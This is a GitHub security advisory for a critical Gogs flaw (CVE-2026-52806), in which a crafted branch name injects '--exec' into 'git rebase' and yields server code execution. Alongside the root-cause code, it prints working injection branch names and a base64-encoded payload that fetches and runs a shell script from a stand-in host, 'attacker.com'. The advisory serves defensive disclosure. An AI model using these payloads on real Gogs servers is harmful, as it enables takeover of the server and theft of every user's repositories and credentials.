GitHub Advisoryadvisory · Go
GHSA-qf6p-p7ww-cwr9 Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge
CRITICAL
Official page ↗
- Aliases
- CVE-2026-52806
- Ecosystem
- Go
- Packages
- gogs.io/gogs
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-77
- Reviewed
- 2026-06-23
Affected packages
• Go gogs.io/gogs: < 0.14.3 → fixed in 0.14.3
Description
Gogs: RCE via `git rebase --exec` Argument Injection in PR Merge
Summary
Gogs allows authenticated users to achieve Remote Code Execution (RCE) on the server by creating a pull request with a specially crafted branch name that injects the `--exec` flag into the `git rebase` command during the "Rebase before merging" merge operation.
Severity
Critical - CVSS 3.1 Base Score: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Affected Versions
• Gogs 0.14.2 (latest supported release)
• Gogs 0.15.0+dev (commit `b53d3162`, main branch as of 2026-03-16)
• All prior versions that support the "Rebase before merging" merge style
Impact
This is a privilege escalation from authenticated user to server-level code execution. The attacker uses their own repository as the delivery mechanism - the target is not the repository but the Gogs server itself. On any multi-tenant Gogs instance (company, university, open source hosting), this gives one authenticated user full control of the underlying server:
• Server compromise: Arbitrary command execution as the Gogs process user
• Cross-tenant data breach: Read ALL repositories on the instance, including other users' private repos
• Credential theft: Access the database containing password hashes, API tokens, SSH keys, and 2FA secrets for every user
• Lateral movement: Pivot to other systems accessible from the server's network
• Supply chain attacks: Silently modify any hosted repository's code. The Gogs process user (typically `git`) has direct filesystem-level read/write access to every repository on the instance under a single `REPOSITORY_ROOT` directory (default: `~/gogs-repositories`). There is no OS-level isolation between repositories; all access control is application-layer only.
The vulnerability affects all supported platforms (Linux, macOS, Windows) and installation methods (pre-built binary, Docker, source). On Docker installations, the Gogs process runs as the `git` user (UID 1000 by default).
The severity is heightened because:
• Open registration by default: Gogs ships with `DISABLE_REGISTRATION = false`, meaning anyone can create an account on a default-configured instance - effectively making this exploitable by an unauthenticated attacker.
• No admin required: Any user who creates a repository is automatically its admin. Enabling rebase is a single toggle in Settings > Advanced - no site-admin intervention, no special permissions, and no interaction with other users required. The attacker creates a repo, enables rebase, and exploits, all within their own account. (Note: `PullsAllowRebase` defaults to `false`, but this is irrelevant since any repo creator can enable it themselves.)
• The attacker operates entirely within their own repo - no interaction with or access to other users' repos is needed to trigger the exploit
• The exploit is fully automatable (see PoC)
• The exploit leaves minimal traces (a 500 error in server logs, easily missed)
Prerequisites
The attacker needs one of the following:
• Repo admin/owner on any repository (can enable rebase + create PR + merge) - any user who creates a repo has this by default
• Write access to a repository where "Rebase before merging" is already enabled by the owner (can create malicious branch + PR + merge)
Note: "Rebase before merging" is NOT enabled by default (`PullsAllowRebase` defaults to `false` in `internal/database/repo.go:215`). However:
• Any user who creates their own repository is admin of that repo and can enable rebase via Settings > Advanced
• The repo settings endpoint (`/settings`, action=`advanced`) requires `reqRepoAdmin` middleware (`internal/cmd/web.go:472`) - collaborators with only write access cannot enable it, but repo owners/admins can
• Many organizations enable rebase merge as a standard practice
Root Cause Analysis
In `internal/database/pull.go`, the `Merge()` function passes the PR's base branch name to `git rebase` as a positional argument without a `--` separator:
```go
if _, stderr, err = process.ExecDir(-1, tmpBasePath,
fmt.Sprintf("PullRequest.Merge (git rebase): %s", tmpBasePath),
"git", "rebase", "--quiet", pr.BaseBranch, remoteHeadBranch); err != nil {
```
The `pr.BaseBranch` value originates from the URL parameter in `internal/route/repo/pull.go`:
```go
baseRef := infos[0] // from strings.Split(c.Params("*"), "...")
```
Both `baseRef` and `headRef` are validated via `RevParse` (defined in the external `git-module` library), but this only calls `git rev-parse --verify ` - it checks that the ref resolves to a valid git object, not that it is safe against argument injection. Since the attacker pushes the malicious branch name to the repository, `RevParse` succeeds because the ref genuinely exists. The value is stored in the database and later passed as-is to the `git rebase` command without a `--` separator.
Exploitation
Git branch names can legally contain characters `$`, `{`, `}`, `=`, `-`. The attacker creates a branch named:
```bash
--exec=touch${IFS}/tmp/rce_proof
```
When used as `pr.BaseBranch` in the rebase command:
```bash
git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
```
1. Git's argument parser treats `--exec=touch${IFS}/tmp/rce_proof` as the `--exec` flag
2. The `--exec` flag specifies a command to run via `sh -c` after each replayed commit
3. `${IFS}` expands to a space in the shell, bypassing git's prohibition on spaces in branch names
4. The command `touch /tmp/rce_proof` executes as the Gogs server process user
For commands containing characters forbidden in git refs (`:`, `~`, `^`, `?`, `*`, ``, `\`, `//`), such as URLs, the attacker base64-encodes the payload:
```bash
--exec=echo${IFS}|base64${IFS}-d|sh
```
For example, `curl https://attacker.com/shell.sh|sh` becomes:
```bash
--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh
```
This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk.
Full Execution Flow in `Merge()`
The `MergeStyleRebase` code path in `Merge()` executes these git commands sequentially:
| Step | Command | Result with malicious branch |
| ---------------------------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------- |
| [1 | `git clone -b '' ` | Succeeds - `-b` consumes `--exec=...` as the branch value |
| 2 | `git remote add head_repo ` + `git fetch head_repo` | Succeeds normally |
| 3 | `git rebase --quiet '' 'head_repo/feature'` | RCE fires here - `--exec=` parsed as flag, command runs via `sh -c` |
| 4 | `git checkout -b ` | Succeeds (tmpBranch is a server-generated timestamp) |
| 5 | `git checkout ''` | Fails - git…
Related
Alias · CVE (1)
- CVE-2026-52806 Gogs is an open source self-hosted Git service. vulnerability
Weakness · CWE (1)
- CWE-77 Improper Neutralization of Special Elements used in a Command weakness
References
- https://github.com/gogs/gogs/security/advisories/GHSA-qf6p-p7ww-cwr9 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-52806 advisory
- https://github.com/gogs/gogs/pull/8301 web
- https://github.com/gogs/gogs/commit/a9dbafbfd8e1020bacc626420238c01d75d03364 web
- https://github.com/gogs/gogs package
- https://github.com/gogs/gogs/releases/tag/v0.14.3 web